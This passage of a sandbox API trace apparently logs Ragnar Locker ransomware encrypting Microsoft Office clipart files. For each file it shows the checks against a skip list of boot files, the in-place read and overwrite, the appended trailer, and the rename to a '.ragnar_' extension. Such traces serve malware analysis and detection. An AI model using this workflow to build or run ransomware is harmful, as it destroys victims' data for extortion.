-1 [0088.282] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.282] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.282] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg")) returned 0x20 [0088.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.283] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32243) returned 1 [0088.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7dea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.284] GetProcessHeap () returned 0x580000 [0088.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.284] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.285] VirtualAlloc (lpAddress=0x0, dwSize=0x7df3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.286] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7df3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7df3, lpOverlapped=0x0) returned 1 [0088.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.287] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df3, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.287] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7df3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7df3, lpOverlapped=0x0) returned 1 [0088.287] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.287] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7df3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.288] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.288] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.288] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.288] GetProcessHeap () returned 0x580000 [0088.288] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.288] CloseHandle (hObject=0xf4) returned 1 [0088.288] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" [0088.288] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.ragnar_FD7BD9FC" [0088.288] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.289] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1 [0088.289] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.289] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0390072.JPG" | out: lpString1="J0390072.JPG") returned="J0390072.JPG" [0088.289] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG") returned=".JPG" [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="autorun.inf") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="boot.ini") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="bootfont.bin") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="bootsect.bak") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="bootmgr") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="bootmgr.efi") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="bootmgfw.efi") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="desktop.ini") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="iconcache.db") returned 1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="ntldr") returned -1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="ntuser.dat") returned -1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="ntuser.dat.log") returned -1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="ntuser.ini") returned -1 [0088.289] lstrcmpiW (lpString1="J0390072.JPG", lpString2="thumbs.db") returned -1 [0088.289] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.289] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.290] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.290] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.290] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.290] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.290] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg")) returned 0x20 [0088.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.290] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13596) returned 1 [0088.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3513, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.290] GetProcessHeap () returned 0x580000 [0088.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.290] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.292] VirtualAlloc (lpAddress=0x0, dwSize=0x351c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.292] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x351c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x351c, lpOverlapped=0x0) returned 1 [0088.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.293] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x351c, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.293] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x351c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x351c, lpOverlapped=0x0) returned 1 [0088.293] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x351c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.293] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x351c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.293] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.293] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.294] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.294] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.294] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.294] GetProcessHeap () returned 0x580000 [0088.294] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.294] CloseHandle (hObject=0xf4) returned 1 [0088.294] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" [0088.294] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.ragnar_FD7BD9FC" [0088.294] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.295] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1 [0088.295] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.295] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0400001.PNG" | out: lpString1="J0400001.PNG") returned="J0400001.PNG" [0088.295] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG") returned=".PNG" [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="autorun.inf") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="boot.ini") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="bootfont.bin") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="bootsect.bak") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="bootmgr") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="bootmgr.efi") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="bootmgfw.efi") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="desktop.ini") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="iconcache.db") returned 1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="ntldr") returned -1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="ntuser.dat") returned -1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="ntuser.dat.log") returned -1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="ntuser.ini") returned -1 [0088.295] lstrcmpiW (lpString1="J0400001.PNG", lpString2="thumbs.db") returned -1 [0088.295] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0088.295] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0088.295] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0088.295] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0088.295] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0088.295] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0088.295] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0088.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png")) returned 0x20 [0088.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.296] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=202883) returned 1 [0088.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3187a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.296] GetProcessHeap () returned 0x580000 [0088.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.296] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.298] VirtualAlloc (lpAddress=0x0, dwSize=0x31883, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.298] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x31883, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x31883, lpOverlapped=0x0) returned 1 [0088.302] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.303] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31883, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.303] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x31883, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x31883, lpOverlapped=0x0) returned 1 [0088.303] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31883, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.303] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.305] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31883, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.305] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.305] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.305] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.305] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.305] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.305] GetProcessHeap () returned 0x580000 [0088.305] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.305] CloseHandle (hObject=0xf4) returned 1 [0088.305] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" [0088.305] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.ragnar_FD7BD9FC" [0088.305] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.306] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1 [0088.306] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.306] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0400002.PNG" | out: lpString1="J0400002.PNG") returned="J0400002.PNG" [0088.306] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG") returned=".PNG" [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="autorun.inf") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="boot.ini") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="bootfont.bin") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="bootsect.bak") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="bootmgr") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="bootmgr.efi") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="bootmgfw.efi") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="desktop.ini") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="iconcache.db") returned 1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="ntldr") returned -1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="ntuser.dat") returned -1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="ntuser.dat.log") returned -1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="ntuser.ini") returned -1 [0088.306] lstrcmpiW (lpString1="J0400002.PNG", lpString2="thumbs.db") returned -1 [0088.306] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0088.306] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0088.306] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0088.306] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0088.306] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0088.306] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0088.306] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0088.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png")) returned 0x20 [0088.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.307] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=89417) returned 1 [0088.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15d40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 